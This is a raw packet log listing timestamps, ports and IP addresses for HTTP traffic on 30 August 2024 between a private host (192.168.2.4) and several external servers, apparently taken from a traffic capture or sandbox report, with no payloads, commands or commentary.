Aug 30, 2024 03:17:06.849746943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849757910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849767923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849777937 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849795103 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849814892 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849875927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849889040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849903107 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849914074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849917889 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849925995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849939108 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849941015 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849963903 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849971056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.849977016 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.849981070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850002050 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850014925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850111008 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850158930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850174904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850203037 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850230932 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850241899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850308895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850320101 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850330114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850358009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850385904 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850397110 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850426912 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850440979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850459099 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850465059 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850469112 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850491047 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850506067 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850564957 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850675106 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850684881 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850693941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850704908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850716114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850718021 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850728035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850733042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850755930 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850771904 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850780010 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850784063 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850795984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850806952 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850816011 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850835085 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850940943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850965023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850975990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.850982904 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.850995064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.851012945 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.851092100 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851103067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851114035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851142883 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.851165056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.851233006 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851244926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851254940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851264954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851275921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851281881 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.851289034 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.851304054 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.851314068 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.851337910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854336977 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854347944 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854358912 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854387999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854399920 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854567051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854587078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854599953 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854604006 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854617119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854634047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854644060 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854649067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854652882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854661942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854671955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854681969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854692936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854693890 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854706049 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854707003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854717970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854732037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854733944 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854741096 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854772091 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854898930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854908943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854918957 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854934931 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.854942083 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854965925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.854988098 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855019093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855031013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855041027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855062008 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855086088 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855087996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855101109 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855112076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855122089 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855124950 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855134964 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855154991 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855432987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855443954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855453968 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855464935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855475903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855479956 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855489016 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855489016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855519056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855521917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855535030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855541945 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855545998 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855557919 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855562925 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855571985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855581999 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855586052 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.855598927 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.855622053 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.875699997 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.875710964 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.875720978 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.875750065 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.875772953 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.875782967 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.875794888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.875819921 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.875823975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.875832081 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.875835896 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.875850916 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.875858068 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.875870943 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.875874996 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.875884056 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.875889063 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.875896931 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.875909090 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.875910997 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.875919104 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.875936985 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.875952005 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.875969887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.875982046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.875992060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876002073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876007080 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876013041 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876019955 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876029968 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876038074 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876041889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876065016 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876077890 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876099110 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876110077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876120090 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876152992 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876153946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876178026 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876204014 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876224995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876239061 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876247883 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876260042 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876264095 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876276016 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876281023 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876302958 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876306057 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876331091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876363039 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876373053 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876383066 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876394033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876405001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876411915 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876414061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876415014 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876426935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876430988 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876456022 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876466036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876470089 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876478910 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876499891 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876507044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876517057 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876518965 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876528025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876553059 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876554966 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876576900 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876677036 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876688957 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876698017 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876713991 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876724005 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876724958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876735926 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876748085 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876750946 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876760006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876770020 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876771927 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876786947 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876797915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876811981 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876815081 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876821995 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876832008 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876835108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876846075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876862049 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876883030 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.876926899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876938105 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876948118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876959085 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.876970053 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.876976967 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.876983881 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877002001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877017975 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877084970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877096891 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877108097 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877119064 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877156019 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877243996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877254963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877264977 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877273083 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877285004 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877295017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877296925 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877306938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877306938 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877320051 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877331972 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877335072 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877342939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877352953 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877363920 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877365112 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877366066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877377033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877379894 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877381086 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877392054 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877403021 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877403021 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877414942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877414942 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877428055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877437115 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877468109 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877492905 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877502918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877511978 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877528906 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877547979 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877651930 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877664089 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877672911 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877681971 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877692938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877701998 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877703905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877712965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877723932 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877731085 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877732038 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877737045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877749920 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877757072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877758980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877768993 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877780914 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877787113 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877799034 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877830982 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877886057 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877897978 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877907038 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.877918005 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877929926 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877931118 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877940893 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877950907 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877952099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877953053 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.877964973 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877975941 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877975941 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.877988100 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.877990007 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878009081 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878031015 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878216982 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878226042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.878235102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878262997 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.878263950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878274918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878284931 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878288984 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.878295898 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878307104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.878318071 CEST	80	49735	31.41.244.9	192.168.2.4
